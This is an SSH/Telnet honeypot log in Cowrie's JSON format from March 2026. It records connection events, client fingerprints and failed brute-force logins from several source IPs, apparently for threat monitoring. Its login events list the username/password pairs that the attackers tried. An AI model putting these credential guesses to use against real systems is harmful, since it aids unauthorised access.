{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:12.747193Z","src_ip":"119.209.12.20","session":"a4ef1021825a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":41926,"dst_ip":"159.203.135.109","dst_port":22,"session":"7698fc01ee3c","protocol":"ssh","message":"New connection: 2.57.122.96:41926 (159.203.135.109:22) [session: 7698fc01ee3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:44.223894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:44.227268Z","src_ip":"2.57.122.96","session":"7698fc01ee3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:44.326480Z","src_ip":"2.57.122.96","session":"7698fc01ee3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"eigenlayer","message":"login attempt [ubuntu/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:44.633141Z","src_ip":"2.57.122.96","session":"7698fc01ee3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:27:45.736562Z","src_ip":"2.57.122.96","session":"7698fc01ee3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.172","src_port":31145,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ca5721096a0","protocol":"ssh","message":"New connection: 64.62.156.172:31145 (10.17.0.5:22) [session: 7ca5721096a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:28:18.246537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:28:18.250868Z","src_ip":"64.62.156.172","session":"7ca5721096a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:28:18.325120Z","src_ip":"64.62.156.172","session":"7ca5721096a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:28:22.247775Z","src_ip":"64.62.156.172","session":"7ca5721096a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.214","src_port":52134,"dst_ip":"10.17.0.5","dst_port":23,"session":"32879a550877","protocol":"telnet","message":"New connection: 176.65.148.214:52134 (10.17.0.5:23) [session: 32879a550877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:29:31.526764Z"}
{"eventid":"cowrie.session.closed","duration":29.555856943130493,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:30:01.082529Z","src_ip":"176.65.148.214","session":"32879a550877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":39646,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee5c53946e73","protocol":"ssh","message":"New connection: 2.57.122.96:39646 (159.203.135.109:22) [session: ee5c53946e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:30:33.957519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:30:33.962097Z","src_ip":"2.57.122.96","session":"ee5c53946e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:30:34.065431Z","src_ip":"2.57.122.96","session":"ee5c53946e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"eigen","message":"login attempt [ubuntu/eigen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:30:34.366469Z","src_ip":"2.57.122.96","session":"ee5c53946e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:30:35.486900Z","src_ip":"2.57.122.96","session":"ee5c53946e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35656,"dst_ip":"159.203.135.109","dst_port":22,"session":"53365809e077","protocol":"ssh","message":"New connection: 2.57.122.96:35656 (159.203.135.109:22) [session: 53365809e077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:33:40.782195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:33:40.786611Z","src_ip":"2.57.122.96","session":"53365809e077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:33:40.890326Z","src_ip":"2.57.122.96","session":"53365809e077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"euler","message":"login attempt [ubuntu/euler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:33:41.204544Z","src_ip":"2.57.122.96","session":"53365809e077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:33:42.315254Z","src_ip":"2.57.122.96","session":"53365809e077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.214.117.218","src_port":44620,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6307f6f98c7","protocol":"ssh","message":"New connection: 1.214.117.218:44620 (159.203.135.109:22) [session: b6307f6f98c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:33:42.891253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:33:42.896994Z","src_ip":"1.214.117.218","session":"b6307f6f98c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:33:43.104339Z","src_ip":"1.214.117.218","session":"b6307f6f98c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"search","password":"Search123","message":"login attempt [search/Search123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:33:43.967072Z","src_ip":"1.214.117.218","session":"b6307f6f98c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:33:45.178233Z","src_ip":"1.214.117.218","session":"b6307f6f98c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":35604,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e7811c62af6","protocol":"ssh","message":"New connection: 172.172.196.177:35604 (159.203.135.109:22) [session: 2e7811c62af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:34:03.173144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:34:03.177273Z","src_ip":"172.172.196.177","session":"2e7811c62af6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:34:03.189359Z","src_ip":"172.172.196.177","session":"2e7811c62af6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edu","password":"edu@123","message":"login attempt [edu/edu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:34:03.271786Z","src_ip":"172.172.196.177","session":"2e7811c62af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:34:04.286090Z","src_ip":"172.172.196.177","session":"2e7811c62af6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":51936,"dst_ip":"159.203.135.109","dst_port":22,"session":"d88b00d9d1f1","protocol":"ssh","message":"New connection: 45.121.147.48:51936 (159.203.135.109:22) [session: d88b00d9d1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:34:19.324726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:34:19.329036Z","src_ip":"45.121.147.48","session":"d88b00d9d1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:34:19.552564Z","src_ip":"45.121.147.48","session":"d88b00d9d1f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"search","password":"Search123","message":"login attempt [search/Search123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:34:20.481088Z","src_ip":"45.121.147.48","session":"d88b00d9d1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:34:21.706693Z","src_ip":"45.121.147.48","session":"d88b00d9d1f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.109.18","src_port":58325,"dst_ip":"10.17.0.5","dst_port":22,"session":"83a688141899","protocol":"ssh","message":"New connection: 45.33.109.18:58325 (10.17.0.5:22) [session: 83a688141899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:19.854442Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:20.382043Z","src_ip":"45.33.109.18","session":"83a688141899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":20713,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc70017a4a21","protocol":"ssh","message":"New connection: 2.57.121.25:20713 (10.17.0.5:22) [session: dc70017a4a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:37.327931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:37.332684Z","src_ip":"2.57.121.25","session":"dc70017a4a21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:37.431945Z","src_ip":"2.57.121.25","session":"dc70017a4a21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08031982","message":"login attempt [user/08031982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:37.903069Z","src_ip":"2.57.121.25","session":"dc70017a4a21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08031977","message":"login attempt [user/08031977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:39.005220Z","src_ip":"2.57.121.25","session":"dc70017a4a21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08021986","message":"login attempt [user/08021986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:35:40.107150Z","src_ip":"2.57.121.25","session":"dc70017a4a21","protocol":"ssh"}
